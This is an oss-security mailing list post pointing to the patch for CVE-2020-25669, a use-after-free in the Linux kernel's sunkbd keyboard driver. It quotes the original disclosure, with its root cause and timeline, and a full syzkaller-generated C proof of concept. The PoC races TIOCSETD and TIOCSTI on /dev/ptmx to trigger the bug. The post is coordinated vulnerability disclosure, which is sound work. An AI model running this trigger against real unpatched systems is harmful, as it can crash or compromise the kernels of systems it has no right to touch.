[prev in list] [next in list] [prev in thread] [next in thread]
List: oss-security
Subject: [oss-security] Re: CVE-2020-25669: Linux Kernel use-after-free in sunkbd_reinit
From: - Nop <nopitydays () gmail ! com>
Date: 2020-11-20 14:41:54
Message-ID: CA+-U7QAmO3QQc--t0rQrMC3qwLbKpxpWPH6GPm5LK_0q=40pog () mail ! gmail ! com
[Download RAW message or body]
Hi,
Patch for this issue is available at
https://github.com/torvalds/linux/commit/77e70d351db7de07a46ac49b87a6c3c7a60fca7e
Regards,
Bodong Zhao
On Thu, Nov 5, 2020 at 9:52 AM - Nop <nopitydays@gmail.com> wrote:
> Hi,
>
> We found a use-after-free read in sunkbd_reinit located in
> drivers/input/keyboard/sunkbd.c,
> and reproduced it in the latest kernel version (v5.9.4 for now) with
> CONFIG_KEYBOARD_SUNKBD=y and CONFIG_KASAN=y.
>
> The root cause of this BUG is :
>
> The function sunkbd_reinit having been scheduled by sunkbd_interrupt
> before the struct sunkbd being freed.
> Though the dangling pointer is set to NULL in sunkbd_disconnect, there is
> still an alias in sunkbd_reinit thus causing UAF.
>
> Timeline:
> * 2020/10/21 - Vulnerability reported to security@kernel.org.
> * 2020/10/27 - Vulnerability reported to linux-distros@vs.openwall.org.
> * 2020/10/27 - CVE-2020-25669 assigned.
> * 2020/11/05 - Vulnerability opened.
>
> Regards,
> Bodong Zhao from Tsinghua University
>
> ------------------------------------
> PoC:
>
> // autogenerated by syzkaller (https://github.com/google/syzkaller)
> // nop@THU
> #define _GNU_SOURCE
>
> #include <endian.h>
> #include <errno.h>
> #include <pthread.h>
> #include <stdint.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <sys/syscall.h>
> #include <sys/types.h>
> #include <time.h>
> #include <unistd.h>
> #include <fcntl.h>
>
> #include <linux/futex.h>
>
> static void sleep_ms(uint64_t ms)
> {
> usleep(ms * 1000);
> }
>
> static uint64_t current_time_ms(void)
> {
> struct timespec ts;
> if (clock_gettime(CLOCK_MONOTONIC, &ts))
> exit(1);
> return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
> }
>
> static void thread_start(void* (*fn)(void*), void* arg)
> {
> pthread_t th;
> pthread_attr_t attr;
> pthread_attr_init(&attr);
> pthread_attr_setstacksize(&attr, 128 << 10);
> int i;
> for (i = 0; i < 100; i++) {
> if (pthread_create(&th, &attr, fn, arg) == 0) {
> pthread_attr_destroy(&attr);
> return;
> }
> if (errno == EAGAIN) {
> usleep(50);
> continue;
> }
> break;
> }
> exit(1);
> }
>
> typedef struct {
> int state;
> } event_t;
>
> static void event_init(event_t* ev)
> {
> ev->state = 0;
> }
>
> static void event_reset(event_t* ev)
> {
> ev->state = 0;
> }
>
> static void event_set(event_t* ev)
> {
> if (ev->state)
> exit(1);
> __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
> syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
> }
>
> static void event_wait(event_t* ev)
> {
> while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
> syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
> }
>
> static int event_isset(event_t* ev)
> {
> return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
> }
>
> static int event_timedwait(event_t* ev, uint64_t timeout)
> {
> uint64_t start = current_time_ms();
> uint64_t now = start;
> for (;;) {
> uint64_t remain = timeout - (now - start);
> struct timespec ts;
> ts.tv_sec = remain / 1000;
> ts.tv_nsec = (remain % 1000) * 1000 * 1000;
> syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0,
> &ts);
> if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
> return 1;
> now = current_time_ms();
> if (now - start > timeout)
> return 0;
> }
> }
>
> struct thread_t {
> int created, call;
> event_t ready, done;
> };
>
> static struct thread_t threads[2];
> static void execute_call(int call);
> static int running;
>
> static void* thr(void* arg)
> {
> struct thread_t* th = (struct thread_t*)arg;
> for (;;) {
> event_wait(&th->ready);
> event_reset(&th->ready);
> execute_call(th->call);
> __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
> event_set(&th->done);
> }
> return 0;
> }
>
> static void loop(void)
> {
> int i, call, thread;
> for (call = 0; call < 2; call++) {
> for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
> thread++) {
> struct thread_t* th = &threads[thread];
> if (!th->created) {
> th->created = 1;
> event_init(&th->ready);
> event_init(&th->done);
> event_set(&th->done);
> thread_start(thr, th);
> }
> if (!event_isset(&th->done))
> continue;
> event_reset(&th->done);
> th->call = call;
> __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
> event_set(&th->ready);
> event_timedwait(&th->done, 45);
> break;
> }
> }
> for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
> sleep_ms(1);
> }
>
> uint64_t fd;
> char buf[100];
>
> void execute_call(int call)
> {
> int disc = 0x2;
> char ch = 0xff;
>
> switch (call) {
> case 0:
> // call sunkbd_disconnect
> read(fd, buf, 0);
> break;
> case 1:
> // call sunkbd_interrupt
> ioctl(fd, 0x5412, &ch); // TIOCSTI
> break;
> }
> }
> int main(void)
> {
> int disc = 0x2;
> fd = open("/dev/ptmx", O_RDWR, 0);
> ioctl(fd, 0x5423, &disc); // TIOCSETD
> loop();
> return 0;
> }
>
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic